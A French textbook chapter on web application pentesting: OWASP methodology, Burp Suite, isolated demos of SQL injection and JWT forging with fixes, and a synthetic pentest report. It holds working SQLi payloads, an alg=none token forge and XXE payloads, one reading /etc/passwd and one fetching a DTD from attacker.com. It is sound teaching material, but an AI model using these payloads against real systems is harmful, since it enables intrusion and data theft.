Pentest web et exploitation applicative#

Environnements isolés

Tous les exemples d’exploitation présentés dans ce chapitre utilisent des environnements isolés en mémoire (bases de données SQLite in-memory, tokens synthétiques, objets Python locaux). Aucune requête réseau vers des cibles externes n’est émise. L’objectif est de comprendre les mécanismes d’attaque pour mieux concevoir les défenses. L’exploitation de systèmes sans autorisation est illégale.

Les applications web constituent la surface d’attaque la plus exposée de la majorité des organisations. Elles combinent des technologies hétérogènes (frontend, API, bases de données, services tiers) dont chaque couche peut introduire des vulnérabilités. Ce chapitre couvre la méthodologie de test et les classes de vulnérabilités les plus impactantes, en s’appuyant sur des démonstrations en environnement contrôlé.

Hide code cell source

import sqlite3
import hmac
import hashlib
import base64
import json
import re
import matplotlib.pyplot as plt
import matplotlib.patches as mpatches
import numpy as np
import pandas as pd
import seaborn as sns
from datetime import datetime

Méthodologie OWASP Testing Guide (OTG v4.2)#

L”OWASP Testing Guide est la référence méthodologique pour les tests de sécurité applicative. Sa version 4.2 structure les tests en douze catégories principales.

Catégorie

Code

Objectif

Information Gathering

OTG-INFO

Cartographier la surface d’attaque

Configuration & Deployment

OTG-CONF

Tester la hardening serveur/application

Identity Management

OTG-IDENT

Vérifier la gestion des identités

Authentication

OTG-AUTHN

Tester les mécanismes d’authentification

Authorization

OTG-AUTHZ

Vérifier les contrôles d’accès

Session Management

OTG-SESS

Analyser la gestion de sessions

Input Validation

OTG-INPVAL

Tester les injections (SQL, XSS, XXE…)

Error Handling

OTG-ERR

Détecter les fuites d’informations

Cryptography

OTG-CRYPT

Vérifier l’implémentation TLS/crypto

Business Logic

OTG-BUSLOGIC

Tester la logique métier

Client-Side

OTG-CLIENT

DOM XSS, clickjacking, CORS

API Testing

OTG-API

REST/GraphQL/gRPC security

Information Gathering web#

La phase de collecte d’informations applicative complète la reconnaissance réseau. Elle cible spécifiquement la pile technologique : framework web (fingerprinting via headers, cookies, erreurs), CMS détecté (WordPress, Drupal), bibliothèques JavaScript (versions dans les fichiers sources), et l’architecture (CDN, WAF, load-balancer).

Les fichiers exposés par défaut constituent souvent une mine d’informations : robots.txt, sitemap.xml, .git/ (accidentellement exposé), /.well-known/security.txt, backup.zip.

Burp Suite#

Burp Suite (PortSwigger) est le proxy d’interception standard pour les tests de pénétration web. Il s’intercale entre le navigateur et le serveur cible.

Architecture Burp Suite (pédagogique)

Proxy : intercepte et modifie les requêtes HTTP/HTTPS en temps réel. Nécessite l’installation du certificat CA Burp dans le navigateur pour déchiffrer TLS.

Repeater : permet de rejouer et modifier manuellement des requêtes enregistrées. Outil central pour l’exploitation manuelle des injections.

Intruder : automatise les attaques basées sur des listes de mots (wordlists) — brute-force de paramètres, fuzzing de points d’injection, énumération de ressources.

Scanner (Pro) : scanner automatique de vulnérabilités web basé sur des signatures. Détecte les injections SQL/XSS/XXE, les problèmes de configuration TLS, les expositions d’informations.

Collaborator : serveur hors-bande pour détecter les vulnérabilités à interaction externe (SSRF, XXE OOB, injection de templates blind).

Decoder : encodage/décodage URL, Base64, HTML, Gzip pour manipuler les données interceptées.

Exploitation d’injections SQL en environnement contrôlé#

# Démonstration : injection SQL union-based sur une base SQLite en mémoire
# Environnement totalement isolé — aucune connexion réseau

print("=" * 60)
print("DÉMONSTRATION : Injection SQL Union-Based")
print("Environnement : SQLite in-memory (isolé)")
print("=" * 60)

# --- Setup de la base vulnérable ---
conn = sqlite3.connect(":memory:")
cur = conn.cursor()

cur.executescript("""
    CREATE TABLE utilisateurs (
        id INTEGER PRIMARY KEY,
        login TEXT NOT NULL,
        mot_de_passe TEXT NOT NULL,
        role TEXT DEFAULT 'user'
    );
    CREATE TABLE commandes (
        id INTEGER PRIMARY KEY,
        user_id INTEGER,
        montant REAL,
        FOREIGN KEY(user_id) REFERENCES utilisateurs(id)
    );
    INSERT INTO utilisateurs VALUES (1, 'alice', 'hashed_pw_alice', 'admin');
    INSERT INTO utilisateurs VALUES (2, 'bob',   'hashed_pw_bob',   'user');
    INSERT INTO utilisateurs VALUES (3, 'carol', 'hashed_pw_carol', 'user');
    INSERT INTO commandes VALUES (1, 1, 150.00);
    INSERT INTO commandes VALUES (2, 2, 42.50);
""")

# --- Application VULNÉRABLE (concaténation directe) ---
def rechercher_utilisateur_vuln(login_input):
    """Version vulnérable : concaténation directe de l'entrée utilisateur."""
    requete = f"SELECT id, login, role FROM utilisateurs WHERE login = '{login_input}'"
    print(f"\n[VULN] Requête exécutée : {requete}")
    try:
        resultats = cur.execute(requete).fetchall()
        return resultats
    except sqlite3.OperationalError as e:
        return [("ERREUR SQL", str(e), "")]

# Utilisation normale
print("\n--- Utilisation normale ---")
res = rechercher_utilisateur_vuln("alice")
print(f"Résultat : {res}")

# Injection SQL : extraction de données via UNION
print("\n--- Injection UNION-BASED ---")
payload_union = "' UNION SELECT id, login || ':' || mot_de_passe, role FROM utilisateurs --"
res_injecte = rechercher_utilisateur_vuln(payload_union)
print(f"Données extraites par l'attaquant : {res_injecte}")

# Injection : bypass d'authentification
print("\n--- Injection : bypass d'authentification ---")
payload_bypass = "' OR '1'='1' --"
res_bypass = rechercher_utilisateur_vuln(payload_bypass)
print(f"Tous les utilisateurs extraits : {res_bypass}")

# --- Application CORRIGÉE (requêtes paramétrées) ---
def rechercher_utilisateur_secure(conn_s, login_input):
    """Version corrigée : requête paramétrée — l'entrée ne peut pas modifier la structure SQL."""
    requete = "SELECT id, login, role FROM utilisateurs WHERE login = ?"
    print(f"\n[SECURE] Requête : {requete}")
    print(f"[SECURE] Paramètre (non interpolé) : {repr(login_input)}")
    try:
        resultats = conn_s.execute(requete, (login_input,)).fetchall()
        return resultats
    except sqlite3.OperationalError as e:
        return [("ERREUR", str(e), "")]

print("\n" + "=" * 60)
print("VERSION CORRIGÉE : Requêtes paramétrées")
print("=" * 60)

conn2 = sqlite3.connect(":memory:")
conn2.executescript("""
    CREATE TABLE utilisateurs (id INTEGER PRIMARY KEY, login TEXT, mot_de_passe TEXT, role TEXT);
    INSERT INTO utilisateurs VALUES (1, 'alice', 'hashed_pw_alice', 'admin');
    INSERT INTO utilisateurs VALUES (2, 'bob',   'hashed_pw_bob',   'user');
""")

print("\n--- Tentative d'injection sur version sécurisée ---")
res_secure = rechercher_utilisateur_secure(conn2, payload_union)
print(f"Résultat (aucune injection possible) : {res_secure}")

res_normal = rechercher_utilisateur_secure(conn2, "alice")
print(f"\n--- Utilisation normale (fonctionne) : {res_normal}")

conn.close()
conn2.close()

print("\n[INFO] Principe clé : les requêtes paramétrées séparent strictement")
print("       le code SQL des données. L'entrée utilisateur est transmise")
print("       comme une valeur opaque, jamais interprétée comme du SQL.")
============================================================
DÉMONSTRATION : Injection SQL Union-Based
Environnement : SQLite in-memory (isolé)
============================================================

--- Utilisation normale ---

[VULN] Requête exécutée : SELECT id, login, role FROM utilisateurs WHERE login = 'alice'
Résultat : [(1, 'alice', 'admin')]

--- Injection UNION-BASED ---

[VULN] Requête exécutée : SELECT id, login, role FROM utilisateurs WHERE login = '' UNION SELECT id, login || ':' || mot_de_passe, role FROM utilisateurs --'
Données extraites par l'attaquant : [(1, 'alice:hashed_pw_alice', 'admin'), (2, 'bob:hashed_pw_bob', 'user'), (3, 'carol:hashed_pw_carol', 'user')]

--- Injection : bypass d'authentification ---

[VULN] Requête exécutée : SELECT id, login, role FROM utilisateurs WHERE login = '' OR '1'='1' --'
Tous les utilisateurs extraits : [(1, 'alice', 'admin'), (2, 'bob', 'user'), (3, 'carol', 'user')]

============================================================
VERSION CORRIGÉE : Requêtes paramétrées
============================================================

--- Tentative d'injection sur version sécurisée ---

[SECURE] Requête : SELECT id, login, role FROM utilisateurs WHERE login = ?
[SECURE] Paramètre (non interpolé) : "' UNION SELECT id, login || ':' || mot_de_passe, role FROM utilisateurs --"
Résultat (aucune injection possible) : []

[SECURE] Requête : SELECT id, login, role FROM utilisateurs WHERE login = ?
[SECURE] Paramètre (non interpolé) : 'alice'

--- Utilisation normale (fonctionne) : [(1, 'alice', 'admin')]

[INFO] Principe clé : les requêtes paramétrées séparent strictement
       le code SQL des données. L'entrée utilisateur est transmise
       comme une valeur opaque, jamais interprétée comme du SQL.

Bypass d’authentification par exploitation de JWT#

Les JSON Web Tokens (JWT) sont largement utilisés pour l’authentification sans état dans les APIs REST. Leur mauvaise implémentation est une source fréquente de vulnérabilités.

Structure d’un JWT#

Un JWT est composé de trois parties encodées en Base64URL, séparées par des points : header.payload.signature

print("=" * 60)
print("DÉMONSTRATION : Vulnérabilités JWT")
print("Environnement : Python pur (aucune requête réseau)")
print("=" * 60)

# --- Utilitaires Base64URL ---
def b64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

def b64url_decode(s: str) -> bytes:
    padding = 4 - len(s) % 4
    if padding != 4:
        s += "=" * padding
    return base64.urlsafe_b64decode(s)

def creer_jwt(header: dict, payload: dict, secret: str, algorithme: str = "HS256") -> str:
    h = b64url_encode(json.dumps(header).encode())
    p = b64url_encode(json.dumps(payload).encode())
    message = f"{h}.{p}".encode()
    if algorithme == "HS256":
        sig = hmac.new(secret.encode(), message, hashlib.sha256).digest()
    else:
        sig = b"signature_invalide"
    return f"{h}.{p}.{b64url_encode(sig)}"

def decoder_jwt(token: str) -> tuple:
    parties = token.split(".")
    if len(parties) != 3:
        return None, None, None
    header  = json.loads(b64url_decode(parties[0]))
    payload = json.loads(b64url_decode(parties[1]))
    return header, payload, parties[2]

# --- Création d'un token légitime ---
secret_faible = "secret123"
header_hs256  = {"alg": "HS256", "typ": "JWT"}
payload_user  = {"sub": "2", "login": "bob", "role": "user", "exp": 9999999999}

token_legitime = creer_jwt(header_hs256, payload_user, secret_faible)
print(f"\n[JWT] Token légitime (rôle: user) :")
print(f"      {token_legitime[:80]}...")

# --- Vulnérabilité 1 : Algorithm None ---
print("\n--- Vulnérabilité 1 : Algorithm 'none' ---")
print("Un serveur vulnérable qui accepte alg=none vérifie AUCUNE signature.")

header_none  = {"alg": "none", "typ": "JWT"}
payload_admin = {"sub": "1", "login": "alice", "role": "admin", "exp": 9999999999}
h_none = b64url_encode(json.dumps(header_none).encode())
p_admin = b64url_encode(json.dumps(payload_admin).encode())
token_none = f"{h_none}.{p_admin}."  # Signature vide

print(f"[ATTAQUE] Token forgé (alg=none, role=admin) :")
print(f"          {token_none[:80]}...")
header_d, payload_d, _ = decoder_jwt(token_none + "x")
print(f"[ATTAQUE] Payload décodé : rôle = {payload_d.get('role')}")

# --- Vulnérabilité 2 : Secret faible (brute-force) ---
print("\n--- Vulnérabilité 2 : Secret faible (brute-force HMAC) ---")
secrets_communs = ["secret", "password", "123456", "secret123", "jwt_secret", "changeme"]

h_tok, p_tok, sig_tok = decoder_jwt(token_legitime)
parties_raw = token_legitime.rsplit(".", 1)
message_b   = parties_raw[0].encode()

secret_trouve = None
for candidat in secrets_communs:
    sig_test = hmac.new(candidat.encode(), message_b, hashlib.sha256).digest()
    sig_test_b64 = b64url_encode(sig_test)
    if sig_test_b64 == sig_tok:
        secret_trouve = candidat
        print(f"[ATTAQUE] Secret trouvé par brute-force : '{candidat}'")
        break

if secret_trouve:
    token_forge = creer_jwt(header_hs256, payload_admin, secret_trouve)
    _, payload_forge, _ = decoder_jwt(token_forge)
    print(f"[ATTAQUE] Token forgé avec élévation de privilèges : role = {payload_forge.get('role')}")

# --- Version corrigée ---
print("\n" + "=" * 60)
print("CORRECTION : Validation JWT stricte")
print("=" * 60)

import secrets as secrets_module

def valider_jwt_strict(token: str, secret: str, algorithme_attendu: str = "HS256") -> dict | None:
    """Validation JWT avec vérifications strictes."""
    parties = token.split(".")
    if len(parties) != 3:
        print("[SECURE] Rejeté : format invalide")
        return None

    try:
        header = json.loads(b64url_decode(parties[0]))
    except Exception:
        print("[SECURE] Rejeté : header non décodable")
        return None

    # 1. Vérifier que l'algorithme est celui attendu (whitelist)
    if header.get("alg") != algorithme_attendu:
        print(f"[SECURE] Rejeté : algorithme '{header.get('alg')}' non autorisé (attendu: {algorithme_attendu})")
        return None

    # 2. Vérifier la signature avec comparaison en temps constant
    message = f"{parties[0]}.{parties[1]}".encode()
    sig_attendue = hmac.new(secret.encode(), message, hashlib.sha256).digest()
    sig_recue    = b64url_decode(parties[2])

    if not hmac.compare_digest(sig_attendue, sig_recue):
        print("[SECURE] Rejeté : signature invalide")
        return None

    payload = json.loads(b64url_decode(parties[1]))

    # 3. Vérifier l'expiration
    if payload.get("exp", 0) < 0:
        print("[SECURE] Rejeté : token expiré")
        return None

    return payload

print("\n[Test] Token forgé alg=none soumis à la validation stricte :")
valider_jwt_strict(token_none + "x", secret_faible)

print("\n[Test] Token légitime soumis à la validation stricte :")
res = valider_jwt_strict(token_legitime, secret_faible)
print(f"[SECURE] Validé — payload : {res}")

print("\n[INFO] Bonnes pratiques JWT :")
print("  1. Utiliser une whitelist d'algorithmes (HS256 ou RS256, jamais 'none')")
print("  2. Secrets HMAC >= 256 bits aléatoires")
print("  3. Valider exp, iat, iss, aud")
print("  4. Comparaison de signatures en temps constant (hmac.compare_digest)")
============================================================
DÉMONSTRATION : Vulnérabilités JWT
Environnement : Python pur (aucune requête réseau)
============================================================

[JWT] Token légitime (rôle: user) :
      eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiMiIsICJsb2dpbiI6ICJib2IiLCA...

--- Vulnérabilité 1 : Algorithm 'none' ---
Un serveur vulnérable qui accepte alg=none vérifie AUCUNE signature.
[ATTAQUE] Token forgé (alg=none, role=admin) :
          eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAiMSIsICJsb2dpbiI6ICJhbGljZSIs...
[ATTAQUE] Payload décodé : rôle = admin

--- Vulnérabilité 2 : Secret faible (brute-force HMAC) ---
[ATTAQUE] Secret trouvé par brute-force : 'secret123'
[ATTAQUE] Token forgé avec élévation de privilèges : role = admin

============================================================
CORRECTION : Validation JWT stricte
============================================================

[Test] Token forgé alg=none soumis à la validation stricte :
[SECURE] Rejeté : algorithme 'none' non autorisé (attendu: HS256)

[Test] Token légitime soumis à la validation stricte :
[SECURE] Validé — payload : {'sub': '2', 'login': 'bob', 'role': 'user', 'exp': 9999999999}

[INFO] Bonnes pratiques JWT :
  1. Utiliser une whitelist d'algorithmes (HS256 ou RS256, jamais 'none')
  2. Secrets HMAC >= 256 bits aléatoires
  3. Valider exp, iat, iss, aud
  4. Comparaison de signatures en temps constant (hmac.compare_digest)

Vulnérabilités XXE (XML External Entity)#

Les attaques XXE exploitent les parseurs XML qui résolvent les entités externes définies dans le DTD (Document Type Definition).

Payloads XXE (non exécutables — démonstration pédagogique uniquement)

Les payloads ci-dessous illustrent les vecteurs d’attaque XXE. Ils ne doivent être testés que dans un environnement isolé avec autorisation explicite.

XXE classique (lecture de fichier local) :

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user><name>&xxe;</name></user>

XXE Out-of-Band (OOB — exfiltration vers serveur contrôlé) :

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
  %remote;
  %exfil;
]>
<user><name>test</name></user>

Mitigation : désactiver le traitement des entités externes dans le parseur (FEATURE_EXTERNAL_GENERAL_ENTITIES = false). En Python : defusedxml à la place de xml.etree.ElementTree.


## Business Logic Vulnerabilities

Les vulnérabilités de logique métier ne sont pas détectables par les scanners automatiques car elles exploitent le comportement *attendu* de l'application, pas une erreur de code classique.

**Prix négatifs** : si l'application ne valide pas que `quantité > 0` ou `prix > 0`, un attaquant peut soumettre une quantité négative pour créditer son compte lors d'un "achat".

**Race conditions (TOCTOU)** : entre la vérification d'une condition (Time Of Check) et son utilisation (Time Of Use), un attaquant peut modifier l'état du système. Exemple classique : utiliser un bon de réduction deux fois simultanément en envoyant deux requêtes en parallèle avant que la première n'enregistre l'utilisation du bon.

**Workflow bypass** : accéder directement à l'étape N+2 d'un processus multi-étapes en forgeant la requête, sautant les validations des étapes intermédiaires.

## Insecure Deserialization

La désérialisation non sécurisée permet à un attaquant de provoquer l'exécution de code arbitraire en manipulant des objets sérialisés avant leur désérialisation.

```{admonition} Danger : Python pickle
:class: warning
Le module `pickle` de Python permet d'exécuter du code arbitraire lors de la désérialisation. **Ne jamais désérialiser des données pickle provenant d'une source non fiable.** Exemple de mécanisme (conceptuel) : un objet malveillant peut implémenter `__reduce__` pour retourner une commande système qui sera exécutée lors de `pickle.loads()`. Mitigation : utiliser des formats de données structurés (JSON, protobuf, MessagePack) avec validation de schéma.

Rapport de pentest#

# Génération automatique d'un rapport de pentest structuré

NIVEAUX_SEVERITE = {
    "Critical":      {"score": 5, "couleur": "#c0392b", "description": "Exploitation immédiate, impact majeur"},
    "High":          {"score": 4, "couleur": "#e67e22", "description": "Exploitation probable, impact significatif"},
    "Medium":        {"score": 3, "couleur": "#f39c12", "description": "Exploitation possible, impact modéré"},
    "Low":           {"score": 2, "couleur": "#27ae60", "description": "Exploitation difficile, impact limité"},
    "Informational": {"score": 1, "couleur": "#2980b9", "description": "Observation sans impact direct"},
}

# Findings synthétiques
findings = [
    {"id": "F-01", "titre": "Injection SQL dans /api/search",
     "severite": "Critical", "cvss": 9.8,
     "description": "Le paramètre 'q' est vulnérable à une injection SQL union-based permettant l'extraction de toutes les tables.",
     "remediation": "Utiliser des requêtes paramétrées. Appliquer le principe de moindre privilège sur le compte DB."},

    {"id": "F-02", "titre": "JWT avec algorithme 'none' accepté",
     "severite": "Critical", "cvss": 9.1,
     "description": "L'API d'authentification accepte les tokens JWT avec alg=none, permettant de forger des tokens d'administration.",
     "remediation": "Implémenter une whitelist d'algorithmes. Rejeter tout token dont l'algorithme diffère de HS256/RS256."},

    {"id": "F-03", "titre": "XXE dans le parseur de factures",
     "severite": "High", "cvss": 7.5,
     "description": "L'endpoint /api/invoice/upload accepte du XML avec résolution d'entités externes.",
     "remediation": "Désactiver FEATURE_EXTERNAL_GENERAL_ENTITIES. Utiliser defusedxml."},

    {"id": "F-04", "titre": "Race condition sur les bons de réduction",
     "severite": "High", "cvss": 7.1,
     "description": "L'utilisation simultanée d'un bon de réduction via deux requêtes parallèles contourne la vérification d'unicité.",
     "remediation": "Implémenter un verrou transactionnel (SELECT FOR UPDATE) ou un verrou Redis sur l'identifiant du bon."},

    {"id": "F-05", "titre": "En-têtes de sécurité manquants",
     "severite": "Medium", "cvss": 5.3,
     "description": "Content-Security-Policy, X-Frame-Options et Strict-Transport-Security absents des réponses HTTP.",
     "remediation": "Configurer les en-têtes de sécurité au niveau du reverse proxy (nginx/Apache)."},

    {"id": "F-06", "titre": "Version de framework exposée",
     "severite": "Low", "cvss": 3.1,
     "description": "L'en-tête X-Powered-By expose Django/4.1.2, facilitant le ciblage de CVE spécifiques.",
     "remediation": "Supprimer les en-têtes révélateurs de version dans la configuration du framework."},

    {"id": "F-07", "titre": "robots.txt référence des URLs internes",
     "severite": "Informational", "cvss": 0.0,
     "description": "Le fichier robots.txt expose des chemins d'administration qui ne devraient pas être indexables.",
     "remediation": "Retirer les chemins sensibles de robots.txt. La sécurité par l'obscurité n'est pas suffisante."},
]

# Score global et résumé
score_total = sum(NIVEAUX_SEVERITE[f["severite"]]["score"] for f in findings)
score_max   = len(findings) * 5
risque_global = round((score_total / score_max) * 10, 1)

print("=" * 65)
print("         RAPPORT DE TEST DE PÉNÉTRATION — SYNTHÈSE")
print("=" * 65)
print(f"Cible          : app.alkimya.fr (environnement de démonstration)")
print(f"Date           : {datetime.now().strftime('%Y-%m-%d')}")
print(f"Périmètre      : API REST + Interface web")
print(f"Durée          : 5 jours")
print(f"Niveau de risque global : {risque_global}/10")
print()

# Comptage par sévérité
from collections import Counter
comptage = Counter(f["severite"] for f in findings)
print("DISTRIBUTION DES FINDINGS :")
for sev in ["Critical", "High", "Medium", "Low", "Informational"]:
    n = comptage.get(sev, 0)
    barre = "█" * n
    print(f"  {sev:<14} : {barre} ({n})")

print()
print("FINDINGS DÉTAILLÉS :")
print("-" * 65)
for f in findings:
    print(f"\n[{f['id']}] {f['titre']}")
    print(f"  Sévérité : {f['severite']} | CVSS : {f['cvss']}")
    print(f"  Description : {f['description']}")
    print(f"  Remédiation : {f['remediation']}")

# --- Visualisation ---
severites_ordre = ["Critical", "High", "Medium", "Low", "Informational"]
comptes = [comptage.get(s, 0) for s in severites_ordre]
couleurs = [NIVEAUX_SEVERITE[s]["couleur"] for s in severites_ordre]

sns.set_theme(style="whitegrid", palette="muted", font_scale=1.1)
fig, axes = plt.subplots(1, 2, figsize=(14, 5))

# Bar chart des findings par sévérité
axes[0].bar(severites_ordre, comptes, color=couleurs, edgecolor="white", linewidth=1.2)
axes[0].set_title("Distribution des findings par sévérité", fontsize=12, pad=10)
axes[0].set_xlabel("Niveau de sévérité")
axes[0].set_ylabel("Nombre de findings")
for i, (s, c) in enumerate(zip(severites_ordre, comptes)):
    if c > 0:
        axes[0].text(i, c + 0.05, str(c), ha="center", va="bottom", fontweight="bold", fontsize=11)
axes[0].set_ylim(0, max(comptes) + 1)

# Camembert de répartition du risque
scores = [NIVEAUX_SEVERITE[s]["score"] * comptage.get(s, 0) for s in severites_ordre]
non_zero = [(s, sc, c) for s, sc, c in zip(severites_ordre, scores, couleurs) if sc > 0]
labels_pie = [f"{s}\n(score {sc})" for s, sc, _ in non_zero]
sizes_pie  = [sc for _, sc, _ in non_zero]
colors_pie = [c for _, _, c in non_zero]

axes[1].pie(sizes_pie, labels=labels_pie, colors=colors_pie,
            autopct="%1.0f%%", startangle=140, textprops={"fontsize": 9})
axes[1].set_title(f"Répartition du score de risque global\n(total : {score_total}/{score_max})", fontsize=12, pad=10)

plt.suptitle("Rapport de pentest — Vue d'ensemble des risques", fontsize=13, y=1.01)
plt.show()
=================================================================
         RAPPORT DE TEST DE PÉNÉTRATION — SYNTHÈSE
=================================================================
Cible          : app.alkimya.fr (environnement de démonstration)
Date           : 2026-03-26
Périmètre      : API REST + Interface web
Durée          : 5 jours
Niveau de risque global : 6.9/10

DISTRIBUTION DES FINDINGS :
  Critical       : ██ (2)
  High           : ██ (2)
  Medium         : █ (1)
  Low            : █ (1)
  Informational  : █ (1)

FINDINGS DÉTAILLÉS :
-----------------------------------------------------------------

[F-01] Injection SQL dans /api/search
  Sévérité : Critical | CVSS : 9.8
  Description : Le paramètre 'q' est vulnérable à une injection SQL union-based permettant l'extraction de toutes les tables.
  Remédiation : Utiliser des requêtes paramétrées. Appliquer le principe de moindre privilège sur le compte DB.

[F-02] JWT avec algorithme 'none' accepté
  Sévérité : Critical | CVSS : 9.1
  Description : L'API d'authentification accepte les tokens JWT avec alg=none, permettant de forger des tokens d'administration.
  Remédiation : Implémenter une whitelist d'algorithmes. Rejeter tout token dont l'algorithme diffère de HS256/RS256.

[F-03] XXE dans le parseur de factures
  Sévérité : High | CVSS : 7.5
  Description : L'endpoint /api/invoice/upload accepte du XML avec résolution d'entités externes.
  Remédiation : Désactiver FEATURE_EXTERNAL_GENERAL_ENTITIES. Utiliser defusedxml.

[F-04] Race condition sur les bons de réduction
  Sévérité : High | CVSS : 7.1
  Description : L'utilisation simultanée d'un bon de réduction via deux requêtes parallèles contourne la vérification d'unicité.
  Remédiation : Implémenter un verrou transactionnel (SELECT FOR UPDATE) ou un verrou Redis sur l'identifiant du bon.

[F-05] En-têtes de sécurité manquants
  Sévérité : Medium | CVSS : 5.3
  Description : Content-Security-Policy, X-Frame-Options et Strict-Transport-Security absents des réponses HTTP.
  Remédiation : Configurer les en-têtes de sécurité au niveau du reverse proxy (nginx/Apache).

[F-06] Version de framework exposée
  Sévérité : Low | CVSS : 3.1
  Description : L'en-tête X-Powered-By expose Django/4.1.2, facilitant le ciblage de CVE spécifiques.
  Remédiation : Supprimer les en-têtes révélateurs de version dans la configuration du framework.

[F-07] robots.txt référence des URLs internes
  Sévérité : Informational | CVSS : 0.0
  Description : Le fichier robots.txt expose des chemins d'administration qui ne devraient pas être indexables.
  Remédiation : Retirer les chemins sensibles de robots.txt. La sécurité par l'obscurité n'est pas suffisante.
_images/e0d131d2ba6c5d4ddbe728995219b6d657709a8aedc5545162548c592b81169f.png

Résumé#

  1. OWASP Testing Guide : la méthodologie OTG v4.2 en douze catégories couvre l’intégralité de la surface d’attaque applicative, de la collecte d’informations à la logique métier.

  2. Burp Suite : l’architecture proxy (Intercept, Repeater, Intruder, Scanner, Collaborator) permet de capturer, analyser et rejouer les échanges HTTP/HTTPS pour une exploitation manuelle ou semi-automatique.

  3. Injection SQL : la concaténation directe de données utilisateur dans les requêtes SQL permet l’extraction, la modification ou la suppression de données. La mitigation définitive est l’utilisation systématique de requêtes paramétrées.

  4. JWT : les vulnérabilités alg=none et secret faible permettent de forger des tokens d’administration. La correction requiert une whitelist d’algorithmes, un secret fort, et une comparaison de signatures en temps constant (hmac.compare_digest).

  5. XXE : les parseurs XML mal configurés exécutent des entités externes permettant la lecture de fichiers locaux ou l’exfiltration OOB. La mitigation est la désactivation des entités externes dans la configuration du parseur.

  6. Business logic : les vulnérabilités de logique métier (prix négatifs, race conditions, TOCTOU) ne sont pas détectables automatiquement et requièrent une compréhension profonde du fonctionnement de l’application.

  7. Rapport de pentest : la structure Executive Summary / Technical Findings / Risk Rating / Remediation garantit une communication exploitable aussi bien par les équipes techniques que par la direction. Le scoring CVSS standardise la priorisation des remédiations.